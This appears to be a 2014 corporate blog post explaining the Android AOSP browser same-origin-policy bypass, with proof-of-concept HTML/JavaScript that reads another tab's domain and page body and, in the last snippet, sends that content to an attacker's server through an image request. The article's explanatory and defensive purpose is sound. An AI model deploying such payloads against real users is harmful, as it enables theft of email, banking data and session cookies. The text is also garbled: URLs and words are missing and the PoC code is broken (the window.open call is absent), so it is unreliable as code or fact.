Android Browser SOP bypass

For the past couple of weeks, everyone has been talking and focusing on the Shellshock exploit. This might put another serious vulnerability found in all pre-4.4 versions of Android a little in the background.

Nevertheless, the Android Browser SOP bypass is a very serious vulnerability, as it allows an attacker to read the contents of other tabs in a browser when a user visits a page the attacker controls. The vulnerability was first disclosed in late August 2014, but there has not been much in the way of public discussion of it. Exploiting the flaw is a straightforward matter and allows the attacker to bypass the same-origin policy in the Android browser.

The bug applies to the Android Open Source Platform (ASOP) browser, an older browser that Google no longer supports. Starting with Android 4.4 (KitKat) Google has replaced the AOSP browser with Chrome, but the browser still runs on many older devices and there are ways to install it on newer devices, as well.

The flaw is present in all pre-4.4 versions of the Android. This represents a huge percentage of the Android devices in use right now. According to researchers, about 75% of the total Android ecosystem today uses pre-4.4 versions. Moreover, Android 4.2 (Jellybean) and prior phones account for nearly 100% of off-the-shelf, lower-end prepaid phones from major manufacturers and carriers. They still ship the unsupported AOSP browser. These are the kinds of phones that account for a huge chunk of total market share, and yet are still vulnerable to this bug.

What is the Same-Origin Policy?

The security model known as the “same origin” policy is one of the most important security mechanisms that are applied in modern browsers. It prevents some types of content from being accessed or modified if the file exists on another domain. Basically, the idea behind the SOP is that it prevents JavaScript from one origin from getting or setting properties of a document on another origin.

The origin of a document is formed by the combination of scheme, domain and port with the port being an exception to IE. There are some exceptions with SOP such the location property, or objects wtih src attribute.

In short, the same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin.

What are the implications?

What this means is that any website that you visit (e.g. one controlled by an attacker) can access and read the contents for any other webpage that you have open. So, for example, if you would be logged into your webmail account, or internet banking account, and visit a malicious page in a different tab, the attacker can easily read anything from your email or internet banking account. Even worse, the attacker could easily take a copy of your session cookie and impersonate your account.

How does it work?

A SOP bypass occurs when a is somehow able to access the properties of such as cookies, location, response etc.

The vulnerability is really simple to exploit and it works by malforming a javascript URL handler with a prepended null byte. In this case, the AOSP browser fails to enforce the Same-Origin Policy (SOP) browser security control.

Proof of Concept

<iframe name=”test” src=””></iframe>
<input type=button value=”test” onclick=”‘u0000javascript:alert(document.domain)’,’test’)” >


The code above tries accessing the document.domain property of a site loaded into an iframe. If you run the POC at on any of the modern browsers, it would return an error as should not be able to access the document.domain property of However, running it on any of the vulnerable smart phones default browsers would alert the document.domain property indicating that the SOP was not able to restrict the access to document.domain property of a site at a different origin.

You can also read the response of any page by accessing the document.body.innerHTML property:

<iframe name=”test” src=””></iframe>
<input type=button value=”test” onclick=”‘u0000javascript:alert(document.body.innerHTML)’,’test’)” >


Obviously, in a real world situation an attacker would send the response to his controlled domain.

<iframe name=”test” src=””></iframe>

<input type=button value=”test” onclick=”‘u0000javascript:var i=new Image();i.src=’//’+document.body.innerHTML;document.body.appendChild(i);’,’test’)”>


How can you protect yourself?

Users can easily avoid being compromised: they can upgrade to Android KitKat, or switch to using another browser for the time being (and make sure to set it as the default browser for opening links).

If this is not a possibility, pay very close attention to the websites that you visit.


Category: Inside 1&1 | Technology & Development
0 comments0

Your comment